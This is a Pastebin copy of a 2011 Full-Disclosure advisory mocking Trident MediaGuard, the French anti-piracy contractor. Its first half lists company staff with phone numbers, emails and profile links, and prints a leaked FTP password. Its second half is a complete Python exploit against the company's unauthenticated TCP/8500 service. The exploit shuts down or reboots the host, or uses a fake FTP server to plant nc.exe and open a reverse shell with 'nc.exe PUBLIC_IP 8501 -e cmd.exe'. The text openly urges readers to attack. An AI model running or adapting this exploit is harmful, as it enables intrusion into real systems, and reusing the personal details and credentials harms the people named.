Advertisement
Nicolai

TMG Leak

May 20th, 2011
3,770
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 21.35 KB | None | 0 0
  1. # Received: by 10.229.245.65 with HTTP; Fri, 20 May 2011 11:59:38 -0700 (PDT)
  2. # Date: Fri, 20 May 2011 20:59:38 +0200
  3. # Message-ID: <BANLkTi=gXd7qCEGpnjvfOM-_xJRh3TAfwQ AT mail.gmail.com>
  4. # From: "cult.of.the.dead.hadopi.tmg cult.of.the.dead.hadopi.tmg"
  5. #   <cult.of.the.dead.hadopi.tmg AT gmail.com>
  6. # To: full-disclosure AT lists.grok.org.uk
  7. # X-Mailman-Approved-At: Fri, 20 May 2011 20:13:30 +0100
  8. # Subject: [Full-disclosure] Too Many Gremlins for Trident MediaGuard (HADOPI)
  9. # Content-Type: text/plain; charset="iso-8859-1"
  10. # Content-Transfer-Encoding: quoted-printable
  11.  
  12.  
  13. # From: cult.of.the.dead.hadopi.tmg <cult.of.the.dead.hadopi.tmg AT gmail.com>
  14. # To: full-disclosure AT lists.grok.org.uk
  15. # Date: 05/20/2011 08:59 PM
  16. # Subject: [Full-disclosure] Too Many Gremlins for Trident MediaGuard (HADOPI)
  17.  
  18. Click "RAW" to remove formatting: http://pastebin.com/raw.php?i=br0BzhJG
  19.  
  20.  
  21.  
  22. # -- TOP SECRET -- TOP SECRET -- TOP SECRET -- TOP SECRET -- TOP SECRET --
  23.  
  24.  
  25. #                  --==[ CULT OF THE DEAD HADOPI ]==--
  26. #                             Advisory 2
  27.  
  28.  
  29. # The HADOPI law or Creation and Internet law (French: Loi favorisant la
  30. #    diffusion et la protection de la création sur Internet, "law
  31. #   promoting the distribution and protection of creative works on the
  32. #    internet") is a French law introduced during 2009, attempting to
  33. #      control and regulate internet access as a means to encourage
  34. #   compliance with copyright laws. "HADOPI" is the government agency
  35. #                     created by the eponymous law.
  36.  
  37. #               http://en.wikipedia.org/wiki/HADOPI_law
  38.  
  39.  
  40. # In  a previous  advisory, we  exposed the  secret plan  of  the French
  41. # government to take  over the Internet using a  patriotic botnet. A few
  42. # days after the strategy was exposed, the piece of software was removed
  43. # by Orange. No more Internet by Orange...
  44.  
  45. # Now, the cult of the dead HADOPI is proud to announce his new advisory
  46. # (free copy, quote it as much as you want, no tax to be paid):
  47.  
  48. #                           Too Many Gremlins
  49. #                                  for
  50. #                           Trident MediaGuard
  51.  
  52.  
  53. # After such  a big failure at  creating a patriotic  botnet, the French
  54. # government  is trying to  build a  new army  with strong  and reliable
  55. # soldiers: Gremlins.
  56.  
  57. # They subcontracted  with a private company  called Trident MediaGuard.
  58. # This  company is  as  concealed as  Bin  Laden in  the  middle of  the
  59. # Pakistan.  It is the long arm  of the HADOPI and the French government
  60. # for  everything related  to 3  strikes  laws. Note  that they  recruit
  61. # people all over Europe at least. Fear the Gremlins.
  62.  
  63. # But they fucked everything up as DSK.
  64.  
  65.  
  66. # Who are they?
  67.  
  68. # Trident Media Guard (TMG) is a French company specialized in software
  69. # to prevent unauthorized copying of files over the Internet. Founded in
  70. #      2002 by Alain Guislain and Bastien Casalta, it is located in
  71. #                 Saint-Sébastien-sur-Loire near Nantes.
  72.  
  73. #   It aims to "provide services to major publishing companies of the
  74. # recording and film industry to stop the loss of revenue due to illegal
  75. #                  downloads on peer-to-peer networks."
  76.  
  77. #            http://en.wikipedia.org/wiki/Trident_Media_Guard
  78. #  http://www.societe.com/societe/trident-media-guar-sa-441392586.html
  79.  
  80.  
  81. # You have to read to the end to learn how to pwn the Gremlins!
  82.  
  83.  
  84.  
  85. # Never expose the Mogwai to bright lights *****************
  86.  
  87. # During a  few days around the  14th-15th of may 2011,  a "test server"
  88. # (according to Too Many Gremlins spokeman) was exposed on the Internet.
  89. # It was supposed to be used for R&D only.
  90.  
  91. # This server  (91.189.104.82) gave some  files revealing what  Too Many
  92. # Gremlins is filtering, and how they are working.
  93.  
  94. # You can retrieve all the files here: http://pastebin.com/Rc1zGXu0
  95.  
  96. # They should remember it is better  to close the door before going into
  97. # the bathroom. You never know, a maid could come in.
  98.  
  99.  
  100. # Never trust 91.189.104.0 - 91.189.111.255 -------------------------------
  101.  
  102.  
  103. # When you look for information about 91.189.104.82, you discover it belongs to:
  104.  
  105. # $ whois 91.189.104.82
  106. # Inetnum:        91.189.104.0 - 91.189.111.255
  107. # netname:        FARM04
  108. # descr:          Trident Mediguard
  109. # country:        FR
  110. # org:            ORG-TA253-RIPE
  111. # admin-c:        CB1756-RIPE
  112. # tech-c:         CB1756-RIPE
  113.  
  114. # person:       Casalta Bastien
  115. # address:      Trident Mediguard
  116. #               13 rue de la Tour d'Auvergne
  117. #               44200 Nantes
  118. #               FR
  119. # phone:        +33 2 40 12 00 97
  120. # fax-no:       +33 2 40 35 36 79
  121. # e-mail:       casalta@mediaguard.info
  122. # nic-hdl:      CB1756-RIPE
  123.  
  124. # route:          91.189.104.0/21
  125. # descr:          Trident Mediguard
  126. # origin:         AS174
  127. # mnt-by:         COGENT-ROUTE-MNT
  128.  
  129.  
  130. # Gremlins, especially French ones, are horny and tend to reproduce very
  131. # quickly. They need at least a /21!
  132.  
  133. # So, if  you don't want gremlins to  get you, just ban  these IPs.  Hmmm
  134. # maybe they noticed people already do that. So maybe now they are using
  135. # the same  tricks every one does to  bypass the 3 strikes  law: using a
  136. # VPN
  137.  
  138. # On a side note, quite  funny:
  139. # $  host  mediaguard.info
  140. # mediaguard.info  has  address 212.53.95.124
  141. # mediaguard.info mail is handled by 10 smtp99.nagra.com.
  142.  
  143. # WTF is mediaguard doing with Nagra!
  144.  
  145.  
  146. # Back to the future  -------------------------------
  147.  
  148. # Gremlins  can look so  nice, so  sweat, so  kind especially  when they
  149. # promise  to  government:  Sir,  yes  Sir, all  privacy  will  be  kept
  150. # secret. We care about privacy, security,  we really do, as long as you
  151. # pay us.
  152.  
  153. # But of  course, leaks happen, like  in 2007 with  Media Defender (just
  154. # google for "mediadefender email leak")
  155.  
  156. # Then,  you  could  find  emails  from Bastien  Casalta,  asking  Media
  157. # Defender not to block some IP ranges:
  158.  
  159. #   From: Bastien Casalta
  160. #   To: Ben Grodsky
  161. #   Sent: Thu Aug 30 01:01:56 2007
  162. #   Subject: IP Blocks
  163.  
  164. #   Hello Ben,
  165.  
  166. #   - you can ignore the following ip blocks:
  167. #     82.138.81.0 /24
  168. #     82.138.88.0 /22
  169. #     91.189.104.0 /21
  170. #     130.117.41.0 /24
  171. #     130.117.115.128 /25
  172.  
  173. #   Best,
  174.  
  175. #     Bastien
  176.  
  177. #   TMG
  178. #   13, rue de la Loire - Bât D
  179. #   44230 St Sébastien Sur Loire
  180. #   Tel 02 40 12 00 97
  181. #   Fax 02 40 35 36 79
  182. #   contact_at_tmg.eu
  183.  
  184.  
  185.  
  186. # It  seems the  range  where the  leak  of the  so  called test  server
  187. # 91.189.104.82 happens  already belong to  the Gremlins in  2007. Maybe
  188. # you also want to ban these ranges too.
  189.  
  190. # BTW, you want to get in  touch with Bastien Casalta, use the proper
  191. # email: casalta(at)tmg.eu
  192.  
  193.  
  194. # Gimme money ------------------------------
  195.  
  196. # French politics can be very perv  (yes, DSK is not the only one). They
  197. # succeed  in  taking  taxes  from  people and  give  it  to  innovative
  198. # company. In 2005,  Too Many Gremlins get 40.000  Euro from an official
  199. # agency supposed to help "innovative companies".
  200.  
  201. # You see, all French are perverse: they pay taxes to get big brothered.
  202.  
  203. # http://www.reseau-entreprendre-atlantique.fr/reseau-entreprendre-atlantique/fr/s04_laureats/s04p03_fiche_laureat.php?laureat=1897
  204.  
  205.  
  206. # Patents ------------------------------
  207.  
  208. # The gremlins are  very possessive. As such, they  try to protect their
  209. # "precious". And  nowadays, you  don't have to  hide for centuries  in a
  210. # cave: you patent your idea!
  211.  
  212.  
  213. # * http://www.faqs.org/patents/app/20090210492
  214.  
  215. #   Patent application title: METHOD FOR COMBATTING THE ILLICIT
  216. #   DISTRIBUTION OF PROTECTED MATERIAL AND COMPUTER SYSTEM FOR CARRYING
  217. #   OUT SAID METHOD
  218.  
  219. #   Inventors: Alain Guislain (St. Sebastien Sur Loire, FR) Bastien
  220. #     Casalta (Nantes, FR) Soufiane Rouibia (Nantes, FR)
  221. #   IPC8 Class: AG06F1516FI
  222. #   USPC Class: 709204
  223. #   Publication date: 08/20/2009
  224. #   Patent application number: 20090210492
  225.  
  226. #   Abstract:
  227.  
  228. #     The invention relates to a  method for hindering or preventing the
  229. #     illegal distribution  of protected data in  a peer-to-peer network
  230. #     comprising  at  least one  peer  operating  an exchange  programme
  231. #     designed for distribution of data to at least one client according
  232. #     to a selective exchange protocol  permitting the peer to operate a
  233. #     selection  of  clients to  which  the  data  is transferred,  said
  234. #     selection  being  carried  out  as  a  function  of  one  or  more
  235. #     characteristics of the clients. In  said method bogus data is sent
  236. #     to the peer  such as to influence the  selection of clients served
  237. #     by the peer, such that the  peer is made to favour the transfer to
  238. #     authorised clients.
  239.  
  240.  
  241. # * http://www.faqs.org/patents/app/20100036935
  242.  
  243. #   Patent application title: METHOD FOR REACTING TO THE BROADCAST OF A
  244. #   FILE IN A P2P NETWORK
  245.  
  246. #   Inventors:  Bastien Casalta (Nantes, FR)  Soufiane Rouibia (Nantes, FR)
  247. #   IPC8 Class: AG06F1516FI
  248. #   USPC Class: 709219
  249. #   Publication date: 02/11/2010
  250. #   Patent application number: 20100036935
  251.  
  252. #   Abstract:
  253.  
  254. #     A method for establishing connections  with a number of peers of a
  255. #     peer  to  peer  network  operating  using at  least  one  exchange
  256. #     protocol, such  as to influence the  broadcast of a  file within a
  257. #     peer to peer  network, the addresses of the  number of peers being
  258. #     held by at  least one network server. A  connection is established
  259. #     with the network server such as to at least partially download the
  260. #     addresses  of the  number of  peers connected  to the  network and
  261. #     implicated in  the downloading of  the file, to a  control server,
  262. #     then  connections are  established  between at  least one  control
  263. #     client  exchanging data  with  the control  server  and peers  the
  264. #     addresses  of which have  been downloaded  to the  control server,
  265. #     such as to download content from  a peer to a controlled client or
  266. #     broadcast  content  from  a  controlled  client  to  a  peer,  the
  267. #     downloading  or broadcasting  being carried  out according  to the
  268. #     exchange protocol.
  269.  
  270.  
  271.  
  272. # How to contact them -----------------------------
  273.  
  274. # If you want to get in touch with the Gremlins leaders:
  275. #   * Alain Guislain, CEO
  276. #     http://fr.linkedin.com/pub/alain-guislain/1/215/952
  277. #   * Bastien Casalta, CTO
  278. #     http://www.linkedin.com/profile/view?id=4004355
  279. #   * Soufiane Rouibia, R&D manager
  280. #     http://fr.linkedin.com/pub/soufiane-rouibia/5/684/5b8
  281.  
  282. # Or visit the empty website: http://tmg.eu
  283.  
  284.  
  285.  
  286.  
  287. # Never get it wet *****************
  288.  
  289. # Ok, ok, it was a bit long. But you have to learn what Gremlins are to
  290. # understand this evil power. Let us have a look now at what was on that
  291. # server.
  292.  
  293.  
  294. # A list of names --------------------------------
  295.  
  296. # In the server_interface.exe, the  Gremlins are spreading. You can find
  297. # a list of ... we don't know what yet. You can easily find it everywhere
  298. # on  the  Internet  now.  Just  look for  KingElvis,  jay@yahoo.se  and
  299. # melon_foli, you will find the list.
  300.  
  301. THE LIST: http://pastebin.com/xBFzK9Ce
  302.  
  303. # Here, we are very disappointed: we can not determine what is this list
  304. # for :(
  305.  
  306. # Are these the names of the Gremlins? Or nicks of the humans they ate?
  307. # No way to know.
  308.  
  309.  
  310. # Save your FTP password on the server itself ------------------------
  311.  
  312. # No need to comment here...
  313.  
  314. # 91.189.104.82/test/script>> cat cmd_auto_update_cmd_file.txt
  315. # share
  316. # hFd38+1E
  317. # prompt
  318. # pasv
  319. # mget "script/script_diff2/execute_update.bat"
  320. # mget "script/script_diff2/cmd_execute_update_cmd_file.txt"
  321.  
  322.  
  323. # Oh yes!
  324.  
  325. # Just   in  case   they  erase   the  above   file,  it   is   also  in
  326. # cmd_update_cmd_file.txt.
  327.  
  328. # Remember, the Gremlins are supposed to protect your private data.
  329.  
  330.  
  331.  
  332. # Never feed it after midnight *****************
  333.  
  334. # Too Many Gremlins is an  innovative company. Let us see how innovative
  335. # is the way  the develop, and as such the way  they protect the private
  336. # data they gather.
  337.  
  338. # Among files they shared, one  is called server_interface.exe.  It is a
  339. # Delphi service (welcome in the 90s) listening on TCP/8500.
  340.  
  341.  
  342. # Advanced features: authentication  -----------------------------
  343.  
  344. # As  they keep  stating,  Too Many  Gremlins  are on  the  edge of  the
  345. # technology. The patents show how true  it is. Sadly, we could not find
  346. # their patent  on authentication ... maybe  because you do  not need to
  347. # authenticate!
  348.  
  349. # Anyone can connect to this server and send commands. :)
  350.  
  351. # This is called sharing, isn't-it ?
  352.  
  353.  
  354. # Advanced feature: protocol design ----------------------------
  355.  
  356. # The protocol is very simple:
  357.  
  358.  
  359. #   - first four bytes must be \x15\x66\x00\x78
  360. #   - the next byte determines the command:
  361. #     - \x65: shutdown the computer
  362. #     - \x66: reboot the computer
  363. #     - \x70: execute stop_P2P_client.bat
  364. #             - two next bytes are used as size to get the output of this script
  365. #     - \x71: execute start_P2P_client.bat
  366. #             - two next bytes are used as size to get the output of this script
  367. #     - \x81: execute transfer_set.bat
  368. #             - next double word is the IP address to download files using FTP
  369. #             - next word is the port to use
  370. #             - two next bytes are used as size to get the output of this script
  371. #     - \x82: execute auto_update.bat
  372. #             - next double word is the IP address to download files using FTP
  373. #             - next word is the port to use
  374. #             - two next bytes are used as size to get the output of this script
  375.  
  376. # As an  exercise, you can code  the proper Scapy  classes. Please, drop
  377. # your submissions to http://trac.secdev.org/scapy
  378.  
  379. # Advanced features: pwn the Gremlins --------------------------
  380.  
  381. # Let us have a look at auto_update.bat used by command \x82:
  382.  
  383. # 91.189.104.82/test/script>> cat auto_update.bat
  384. # @echo off
  385.  
  386. # echo auto_update.bat
  387. # echo Transfering files from %1:%2, exiting in 10 sec
  388.  
  389. # if (%1 == "") exit
  390.  
  391. # echo Update cmd file
  392. # ftp -s:"C:\script\cmd_auto_update_cmd_file.txt" %1
  393.  
  394. # execute_update.bat %1 %2
  395.  
  396. # echo auto_update.bat completed
  397.  
  398. # I think  you have spot  the problem :)  An attacker can use  the "Auto
  399. # Update" feature (\x82) to force the server to download updates from an
  400. # evil FTP server he controls.  Of course, a downloaded file is executed
  401. # just after the download...
  402.  
  403. # Hence, anyone  who wants to raise  an army against  Too Many Gremlins,
  404. # look for open bar  on TCP 8500. Here is the gift  to you from the cult
  405. # of the dead HADOPI.
  406.  
  407. # CLICK THE "RAW" TO COPY THE CODE - http://pastebin.com/raw.php?i=br0BzhJG
  408.  
  409. # <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
  410. # $> cat Too_Many_Greemlins_exposed_to_the_sunlight.py
  411.  
  412. #!/usr/bin/env python2
  413. # -*- coding: utf-8 -*-
  414.  
  415. import sys
  416. import struct
  417. import time
  418. import socket
  419. from threading import Thread
  420.  
  421. #
  422. # Change this IP to your public IP address.
  423. #
  424. PUBLIC_IP = "192.168.0.1"
  425.  
  426. #
  427. # Don't forget to open ports 21 and 8501 in your
  428. # OpenOffice.org firewall
  429. #
  430. SRV_PORT   = 8500
  431. FTP_PORT   = 21
  432. SHELL_PORT = 8501
  433.  
  434. MAGIC  = "\x15\x66\x00\x78"
  435. HALT   = "\x65"
  436. REBOOT = "\x66"
  437. STOP   = "\x70\x00\x00"
  438. UPDATE = "\x82"
  439. OK     = "\x01"
  440.  
  441. def usage (msg = None):
  442.  
  443.   if msg: print "Error: %s\n" % msg
  444.  
  445.   print "Usage: %s IP command" % sys.argv[0]
  446.   print
  447.   print "commands:"
  448.   print "- halt    shutdown the server"
  449.   print "- reboot  reboot the server"
  450.   print "- stop    stop P2P clients (eMule and Shareaza)"
  451.   print "- pwn     use a vulnerability in the Auto Update feature to get a remote shell"
  452.  
  453.   sys.exit(0)
  454.  
  455. class fake_ftpd(Thread):
  456.  
  457.     def __init__ (self):
  458.       Thread.__init__(self)
  459.       self.s = None
  460.       f  = open('./nc.exe', 'rb')
  461.       nc = f.read()
  462.       f.close()
  463.       batch  = "@echo off\r\n"
  464.       batch += "move cmd_execute_update_cmd_file.txt nc.exe\r\n"
  465.       batch += "nc.exe %s %s -e cmd.exe\r\n" % (PUBLIC_IP, SHELL_PORT)
  466.       self.files = {
  467.         'script/script_diff2/execute_update.bat': batch,
  468.         'script/script_diff2/cmd_execute_update_cmd_file.txt': nc
  469.       }
  470.  
  471.     def run (self):
  472.       self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  473.       self.s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  474.       self.s.bind(("", FTP_PORT))
  475.       self.s.listen(1)
  476.       self.s.listen(0x1337)
  477.       print "[+] Waiting for FTP connection..."
  478.  
  479.       conn, addr = self.s.accept()
  480.  
  481.       print "[!] FTP - %s connected!" % addr[0]
  482.       conn.send("220 Welcome to my FTPd - Ready to pwn you!\r\n")
  483.  
  484.       while True:
  485.         data = conn.recv(1024)
  486.         if not data:
  487.           break
  488.  
  489.         args = data.rstrip().split(' ')
  490.  
  491.         if data.startswith('CWD'):
  492.           conn.send('250 CWD command successful.\r\n')
  493.  
  494.         elif data.startswith('TYPE'):
  495.           conn.send('200 TYPE set.\r\n')
  496.  
  497.         elif data.startswith('USER'):
  498.           conn.send('331 Password required.\r\n')
  499.           username = data.split(' ')[1].rstrip()
  500.  
  501.         elif data.startswith('PASS'):
  502.           conn.send('230 User logged in.\r\n')
  503.           password = data.split(' ')[1].rstrip()
  504.           print "[!] TMG credentials: %s/%s" % (username, password)
  505.  
  506.         elif data.startswith('PORT'):
  507.           arg  = args[1].split(',')
  508.           ip   = '.'.join(arg[:4])
  509.           port = int(arg[4]) * 256 + int(arg[5])
  510.           sdata = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  511.           sdata.connect((ip, port))
  512.           conn.send('200 PORT command successful.\r\n')
  513.  
  514.         elif data.startswith('RETR'):
  515.           conn.send('150 Opening BINARY mode data connection\r\n')
  516.           buf = self.files.get(args[1], 'file not found\r\n')
  517.           sdata.send(buf)
  518.           sdata.close()
  519.           conn.send('226 Transfer complete\r\n')
  520.           print "[+] File \"%s\" transfered..." % args[1]
  521.  
  522.         elif data.startswith('NLST'):
  523.           conn.send('150 Here comes the directory listing.\r\n')
  524.           if len(args) == 1:
  525.             listing = ''
  526.           else:
  527.             listing = args[1]
  528.           sdata.send(listing + '\r\n')
  529.           sdata.close()
  530.           conn.send('226 Directory send OK.\r\n')
  531.  
  532.         elif data.startswith('QUIT'):
  533.           conn.send('221 Goodbye.\r\n')
  534.           break
  535.  
  536.         else:
  537.           conn.send('500 Unknown command.\r\n')
  538.  
  539.       conn.close()
  540.  
  541.  
  542. def do_stuff (host, cmd):
  543.  
  544.   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  545.   s.settimeout(5)
  546.  
  547.   try:
  548.     print "[+] Connecting to %s:%d..." % (host, SRV_PORT)
  549.     s.connect((host, SRV_PORT))
  550.  
  551.   except Exception, e:
  552.     print("[?] Error: %s" % e)
  553.     s.close()
  554.     return ;
  555.  
  556.   print "[+] Sending evil packet..."
  557.  
  558.   if cmd == 'halt':
  559.     s.send(MAGIC + HALT)
  560.     print "[!] Done!"
  561.  
  562.   elif cmd == 'reboot':
  563.     s.send(MAGIC + REBOOT)
  564.     print "[!] Done!"
  565.  
  566.   elif cmd == 'stop':
  567.     s.send(MAGIC + STOP)
  568.     data = s.recv(1)
  569.  
  570.     if data and data[0] == OK:
  571.       print "[!] Done!"
  572.     else:
  573.       print "[!] Error :("
  574.  
  575.   elif cmd == 'pwn':
  576.     ftpd = fake_ftpd()
  577.     ftpd.daemon = True
  578.     ftpd.start()
  579.  
  580.     command = socket.inet_aton(PUBLIC_IP) + struct.pack("h", socket.ntohs(FTP_PORT)) + "\x00\x00"
  581.     s.send(MAGIC + UPDATE + command)
  582.     data = s.recv(1)
  583.  
  584.     if data and data[0] == OK:
  585.       s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  586.       s2.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  587.       s2.bind(("", SHELL_PORT))
  588.       s2.listen(1)
  589.  
  590.       conn, addr = s2.accept()
  591.       print "[!] SHELL - %s connected!" % addr[0]
  592.       print conn.recv(4096)
  593.  
  594.       while True:
  595.         cmd = raw_input()
  596.         if cmd == "quit" or cmd == "exit":
  597.             break;
  598.         conn.send(cmd + "\r\n")
  599.  
  600.         data = ""
  601.         conn.settimeout(None)
  602.         data = conn.recv(1024)
  603.         conn.settimeout(1)
  604.  
  605.         while True:
  606.             line = ""
  607.             try:
  608.                 line = conn.recv(1024)
  609.             except socket.timeout:
  610.                 break
  611.             if line == "":
  612.                 break
  613.             data += line
  614.  
  615.         tab = data.split("\n")
  616.         print "\n".join(tab[1:-1])
  617.  
  618.       conn.close()
  619.     else:
  620.       print "[!] Error :("
  621.  
  622.   s.close()
  623.  
  624. if __name__ == '__main__':
  625.  
  626.   if len(sys.argv) < 3:
  627.     usage("Not enough arguments")
  628.  
  629.   (_, host, cmd) = sys.argv
  630.  
  631.   if cmd not in ['halt', 'reboot', 'stop', 'pwn']:
  632.     usage('Invalid command ("%s")' % cmd)
  633.  
  634.   do_stuff(host, cmd)
  635.  
  636.   sys.exit(0)
  637.  
  638. # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  639.  
  640.  
  641.  
  642. # Famous last words *****************
  643.  
  644. # Whether or not this was test server, it does not matter.  It just show
  645. # how reliable Too Many Gremlins can be.
  646.  
  647. # The piece  of software  is as  good as Orange's  one described  in our
  648. # previous advisory. Even a kid could pwn them. Scary.
  649.  
  650. # French evil master plan agency HADOPI stated they are going to inspect
  651. # Too Many  Gremlins in order to assess  if they are secure  now. I hope
  652. # they also had  a look to their codes.  Oh no!   They can not.  Reverse
  653. # engineering is mostly  illegal in France. So we  should just trust the
  654. # Gremlins.
  655.  
  656.  
  657.  
  658. # Greets ******
  659.  
  660. # N. Sarkozy, Chinese fellows,  C. Albanel, F. Mitterrand J-L. Warsmann,
  661. # F.  Riester, F.  Lefebvre,  J-L.  Masson,  J.  Myard,  M.  Thiollière,
  662. # M. Marland-Militello
  663.  
  664.  
  665. # -- TOP SECRET -- TOP SECRET -- TOP SECRET -- TOP SECRET -- TOP SECRET
  666.  
  667. # _______________________________________________
  668. # Full-Disclosure - We believe in it.
  669. # Hosted and sponsored by Secunia - http://secunia.com/
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement